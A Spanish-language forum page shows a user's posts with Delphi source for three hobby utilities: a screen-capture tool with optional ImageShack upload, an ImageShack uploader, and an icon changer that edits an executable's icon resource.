  22.    CheckBox1: TCheckBox;
  23.    Edit1: TEdit;
  24.    CheckBox2: TCheckBox;
  25.    Edit2: TEdit;
  26.    Label1: TLabel;
  27.    CheckBox3: TCheckBox;
  28.    CheckBox4: TCheckBox;
  29.    GroupBox2: TGroupBox;
  30.    Edit3: TEdit;
  31.    GroupBox3: TGroupBox;
  32.    Button1: TButton;
  33.    Button2: TButton;
  34.    Button3: TButton;
  35.    Button4: TButton;
  36.    IdHTTP1: TIdHTTP;
  37.    procedure Button1Click(Sender: TObject);
  38.    procedure Button4Click(Sender: TObject);
  39.    procedure Button2Click(Sender: TObject);
  40.    procedure Button3Click(Sender: TObject);
  41.  private
  42.    { Private declarations }
  43.  public
  44.    { Public declarations }
  45.  end;
  46.  
  47. var
  48.  Form1: TForm1;
  49.  
  50. implementation
  51.  
  52. {$R *.dfm}
  53. // Functions
  54.  
  55. procedure capturar(nombre: string);
  56.  
  57. // Function capturar() based in :
  58. // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
  59. // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
  60. // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
  61. // Thanks to Zarko Gajic , Luthfi and Ken White
  62.  
  63. var
  64.  aca: HDC;
  65.  tan: TRect;
  66.  posnow: TPoint;
  67.  imagen1: TBitmap;
  68.  imagen2: TJpegImage;
  69.  curnow: THandle;
  70.  
  71. begin
  72.  
  73.  aca := GetWindowDC(GetDesktopWindow);
  74.  imagen1 := TBitmap.Create;
  75.  
  76.  GetWindowRect(GetDesktopWindow, tan);
  77.  imagen1.Width := tan.Right - tan.Left;
  78.  imagen1.Height := tan.Bottom - tan.Top;
  79.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
  80.    0, SRCCOPY);
  81.  
  82.  GetCursorPos(posnow);
  83.  
  84.  curnow := GetCursor;
  85.  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
  86.    DI_NORMAL);
  87.  
  88.  imagen2 := TJpegImage.Create;
  89.  imagen2.Assign(imagen1);
  90.  imagen2.CompressionQuality := 60;
  91.  imagen2.SaveToFile(nombre);
  92.  
  93.  imagen1.Free;
  94.  imagen2.Free;
  95.  
  96. end;
  97.  
  98. //
  99.  
  100. procedure TForm1.Button1Click(Sender: TObject);
  101. var
  102.  fecha: TDateTime;
  103.  fechafinal: string;
  104.  nombrefecha: string;
  105.  i: integer;
  106.  datos: TIdMultiPartFormDataStream;
  107.  code: string;
  108.  regex: TPerlRegEx;
  109.  url: string;
  110.  
  111. begin
  112.  
  113.  Edit3.Text := '';
  114.  regex := TPerlRegEx.Create();
  115.  
  116.  fecha := now();
  117.  fechafinal := DateTimeToStr(fecha);
  118.  nombrefecha := fechafinal + '.jpg';
  119.  
  120.  nombrefecha := StringReplace(nombrefecha, '/', ':',
  121.    [rfReplaceAll, rfIgnoreCase]);
  122.  nombrefecha := StringReplace(nombrefecha, ' ', '',
  123.    [rfReplaceAll, rfIgnoreCase]);
  124.  nombrefecha := StringReplace(nombrefecha, ':', '_',
  125.    [rfReplaceAll, rfIgnoreCase]);
  126.  
  127.  if (CheckBox2.Checked) then
  128.  begin
  129.    for i := 1 to StrToInt(Edit2.Text) do
  130.    begin
  131.      StatusBar1.Panels[0].Text := '[+] Taking picture on  : ' + IntToStr(i) +
  132.        ' seconds ';
  133.      Form1.StatusBar1.Update;
  134.      Sleep(i * 1000);
  135.    end;
  136.  end;
  137.  
  138.  Form1.Hide;
  139.  
  140.  Sleep(1000);
  141.  
  142.  if (CheckBox1.Checked) then
  143.  begin
  144.    capturar(Edit1.Text);
  145.  end
  146.  else
  147.  begin
  148.    capturar(nombrefecha);
  149.  end;
  150.  
  151.  Form1.Show;
  152.  
  153.  StatusBar1.Panels[0].Text := '[+] Photo taken';
  154.  Form1.StatusBar1.Update;
  155.  
  156.  if (CheckBox4.Checked) then
  157.  begin
  158.  
  159.    StatusBar1.Panels[0].Text := '[+] Uploading ...';
  160.    Form1.StatusBar1.Update;
  161.  
  162.    datos := TIdMultiPartFormDataStream.Create;
  163.    datos.AddFormField('key', '');
  164.    // Fuck You
  165.  
  166.    if (CheckBox1.Checked) then
  167.    begin
  168.      datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
  169.    end
  170.    else
  171.    begin
  172.      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
  173.    end;
  174.    datos.AddFormField('format', 'json');
  175.  
  176.    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);
  177.  
  178.    regex.regex := '"image_link":"(.*?)"';
  179.    regex.Subject := code;
  180.  
  181.    if regex.Match then
  182.    begin
  183.      url := regex.Groups[1];
  184.      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
  185.      Edit3.Text := url;
  186.      StatusBar1.Panels[0].Text := '[+] Done';
  187.      Form1.StatusBar1.Update;
  188.    end
  189.    else
  190.    begin
  191.      StatusBar1.Panels[0].Text := '[-] Error uploading';
  192.      Form1.StatusBar1.Update;
  193.    end;
  194.  end;
  195.  
  196.  if (CheckBox3.Checked) then
  197.  begin
  198.    if (CheckBox1.Checked) then
  199.    begin
  200.      ShellExecute(Handle, 'open', Pchar(Edit1.Text), nil, nil, SW_SHOWNORMAL);
  201.    end
  202.    else
  203.    begin
  204.      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
  205.    end;
  206.  end;
  207. end;
  208.  
  209. procedure TForm1.Button2Click(Sender: TObject);
  210. begin
  211.  Edit3.SelectAll;
  212.  Edit3.CopyToClipboard;
  213. end;
  214.  
  215. procedure TForm1.Button3Click(Sender: TObject);
  216. begin
  217.  Form2.Show;
  218. end;
  219.  
  220. procedure TForm1.Button4Click(Sender: TObject);
  221. begin
  222.  Form1.Close();
  223.  Form2.Close();
  224. end;
  225.  
  226. end.
  227.  
  228. // The End ?
  229.  

Si quieren bajar el programa lo pueden hacer de aca.
127  Programación / Programación General / [Delphi] ImageShack Uploader 0.3 en: 2 Mayo 2014, 23:01 pm
Version Final de este programa para subir imagenes a ImageShack usando el API que ofrecen.

Una imagen :



El codigo :

Código
  1. // ImageShack Uploader 0.3
  2. // Based in the API of ImageShack
  3. // Coded By Doddy H
  4.  
  5. unit image;
  6.  
  7. interface
  8.  
  9. uses
  10.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.  System.Classes, Vcl.Graphics,
  12.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdBaseComponent, IdComponent,
  13.  IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  14.  Vcl.ComCtrls, Vcl.StdCtrls, about, IdMultipartFormData, PerlRegEx;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    IdHTTP1: TIdHTTP;
  19.    Image1: TImage;
  20.    StatusBar1: TStatusBar;
  21.    GroupBox1: TGroupBox;
  22.    Edit1: TEdit;
  23.    Button1: TButton;
  24.    OpenDialog1: TOpenDialog;
  25.    GroupBox2: TGroupBox;
  26.    Edit2: TEdit;
  27.    GroupBox3: TGroupBox;
  28.    Button2: TButton;
  29.    Button3: TButton;
  30.    Button4: TButton;
  31.    Button5: TButton;
  32.    procedure Button4Click(Sender: TObject);
  33.    procedure Button1Click(Sender: TObject);
  34.    procedure Button3Click(Sender: TObject);
  35.    procedure Button5Click(Sender: TObject);
  36.    procedure Button2Click(Sender: TObject);
  37.    procedure FormCreate(Sender: TObject);
  38.  private
  39.    { Private declarations }
  40.  public
  41.    { Public declarations }
  42.  end;
  43.  
  44. var
  45.  Form1: TForm1;
  46.  
  47. implementation
  48.  
  49. {$R *.dfm}
  50.  
  51. procedure TForm1.Button1Click(Sender: TObject);
  52. begin
  53.  if OpenDialog1.Execute then
  54.  begin
  55.    Edit1.Text := OpenDialog1.FileName;
  56.  end;
  57. end;
  58.  
  59. procedure TForm1.Button2Click(Sender: TObject);
  60. var
  61.  regex: TPerlRegEx;
  62.  datos: TIdMultiPartFormDataStream;
  63.  code: string;
  64.  url: string;
  65.  
  66. begin
  67.  
  68.  if FileExists(Edit1.Text) then
  69.  begin
  70.  
  71.    regex := TPerlRegEx.Create();
  72.  
  73.    StatusBar1.Panels[0].Text := '[+] Uploading ...';
  74.    Form1.StatusBar1.Update;
  75.  
  76.    datos := TIdMultiPartFormDataStream.Create;
  77.    datos.AddFormField('key', '');
  78.    // Fuck You
  79.    datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
  80.    datos.AddFormField('format', 'json');
  81.  
  82.    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);
  83.  
  84.    regex.regex := '"image_link":"(.*?)"';
  85.    regex.Subject := code;
  86.  
  87.    if regex.Match then
  88.    begin
  89.      url := regex.Groups[1];
  90.      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
  91.      Edit2.Text := url;
  92.      StatusBar1.Panels[0].Text := '[+] Done';
  93.      Form1.StatusBar1.Update;
  94.  
  95.    end
  96.    else
  97.    begin
  98.      StatusBar1.Panels[0].Text := '[-] Error uploading';
  99.      Form1.StatusBar1.Update;
  100.    end;
  101.  
  102.    regex.Free;
  103.  
  104.  end
  105.  else
  106.  begin
  107.    StatusBar1.Panels[0].Text := '[+] File not Found';
  108.    Form1.StatusBar1.Update;
  109.  end;
  110.  
  111. end;
  112.  
  113. procedure TForm1.Button3Click(Sender: TObject);
  114. begin
  115.  Edit2.SelectAll;
  116.  Edit2.CopyToClipboard;
  117. end;
  118.  
  119. procedure TForm1.Button4Click(Sender: TObject);
  120. begin
  121.  Form2.Show;
  122. end;
  123.  
  124. procedure TForm1.Button5Click(Sender: TObject);
  125. begin
  126.  Form1.Close();
  127.  Form2.Close();
  128. end;
  129.  
  130. procedure TForm1.FormCreate(Sender: TObject);
  131. begin
  132.  OpenDialog1.InitialDir := GetCurrentDir;
  133. end;
  134.  
  135. end.
  136.  
  137. // The End ?
  138.  

Si lo quieren bajar lo pueden hacer de aca.
128  Programación / Scripting / Re: [Código-PyQT4]Protector de Archivo - JaAViEr en: 26 Abril 2014, 20:36 pm
buen code , parece que volviste a programar javier.
129  Programación / Scripting / Re: [VBS] Función para hacer "spread" a fichero ZIP en: 15 Abril 2014, 20:42 pm
me gustaria traducirlo a delphi pero lo veo para avanzados.
130  Programación / Programación General / [Delphi] DH Icon Changer 0.5 en: 11 Abril 2014, 18:36 pm
Version final de este programa para cambiarle el icono a cualquier programa (eso creo).

Una imagen :



El codigo.

Código
  1. // DH Icon Changer 0.5
  2. // (C) Doddy Hackman 2014
  3. // Based on IconChanger By Chokstyle
  4. // Thanks to Chokstyle
  5.  
  6. unit icon;
  7.  
  8. interface
  9.  
  10. uses
  11.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  12.  System.Classes, Vcl.Graphics,
  13.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, madRes, Vcl.StdCtrls,
  14.  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, about;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    Image1: TImage;
  19.    GroupBox1: TGroupBox;
  20.    Edit1: TEdit;
  21.    Button1: TButton;
  22.    OpenDialog1: TOpenDialog;
  23.    StatusBar1: TStatusBar;
  24.    GroupBox2: TGroupBox;
  25.    GroupBox3: TGroupBox;
  26.    Button2: TButton;
  27.    GroupBox4: TGroupBox;
  28.    Button3: TButton;
  29.    Button4: TButton;
  30.    Button5: TButton;
  31.    Edit2: TEdit;
  32.    Image2: TImage;
  33.    OpenDialog2: TOpenDialog;
  34.    procedure Button1Click(Sender: TObject);
  35.    procedure Button4Click(Sender: TObject);
  36.    procedure Button5Click(Sender: TObject);
  37.    procedure FormCreate(Sender: TObject);
  38.    procedure Button2Click(Sender: TObject);
  39.    procedure Button3Click(Sender: TObject);
  40.  private
  41.    { Private declarations }
  42.  public
  43.    { Public declarations }
  44.  end;
  45.  
  46. var
  47.  Form1: TForm1;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm1.Button1Click(Sender: TObject);
  54. begin
  55.  if OpenDialog1.Execute then
  56.  begin
  57.    Edit1.Text := OpenDialog1.FileName;
  58.  end;
  59. end;
  60.  
  61. procedure TForm1.Button2Click(Sender: TObject);
  62. begin
  63.  
  64.  if OpenDialog2.Execute then
  65.  begin
  66.    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  67.    Edit2.Text := OpenDialog2.FileName;
  68.  end;
  69.  
  70. end;
  71.  
  72. procedure TForm1.Button3Click(Sender: TObject);
  73. var
  74.  op: string;
  75.  change: dword;
  76.  valor: string;
  77.  
  78. begin
  79.  
  80.  valor := IntToStr(128);
  81.  
  82.  op := InputBox('Backup', 'Backup ?', 'Yes');
  83.  
  84.  if op = 'Yes' then
  85.  begin
  86.    CopyFile(PChar(Edit1.Text), PChar(ExtractFilePath(Application.ExeName) +
  87.      'backup' + ExtractFileExt(Edit1.Text)), True);
  88.  end;
  89.  
  90.  try
  91.    begin
  92.      change := BeginUpdateResourceW(PWideChar(wideString(Edit1.Text)), false);
  93.      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  94.        PWideChar(wideString(Edit2.Text)));
  95.      EndUpdateResourceW(change, false);
  96.      StatusBar1.Panels[0].Text := '[+] Changed !';
  97.      Form1.StatusBar1.Update;
  98.    end;
  99.  except
  100.    begin
  101.      StatusBar1.Panels[0].Text := '[-] Error';
  102.      Form1.StatusBar1.Update;
  103.  
  104.    end;
  105.  end;
  106. end;
  107.  
  108. procedure TForm1.Button4Click(Sender: TObject);
  109. begin
  110.  Form2.Show;
  111. end;
  112.  
  113. procedure TForm1.Button5Click(Sender: TObject);
  114. begin
  115.  Form1.Close();
  116.  Form2.Close();
  117. end;
  118.  
  119. procedure TForm1.FormCreate(Sender: TObject);
  120. begin
  121.  
  122.  OpenDialog1.InitialDir := GetCurrentDir;
  123.  OpenDialog2.InitialDir := GetCurrentDir;
  124.  OpenDialog2.Filter := 'Icons|*.ico|';
  125.  
  126. end;
  127.  
  128. end.
  129.  
  130. // The End ?
  131.  

Si quieren bajar el programa lo pueden hacer de aca.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines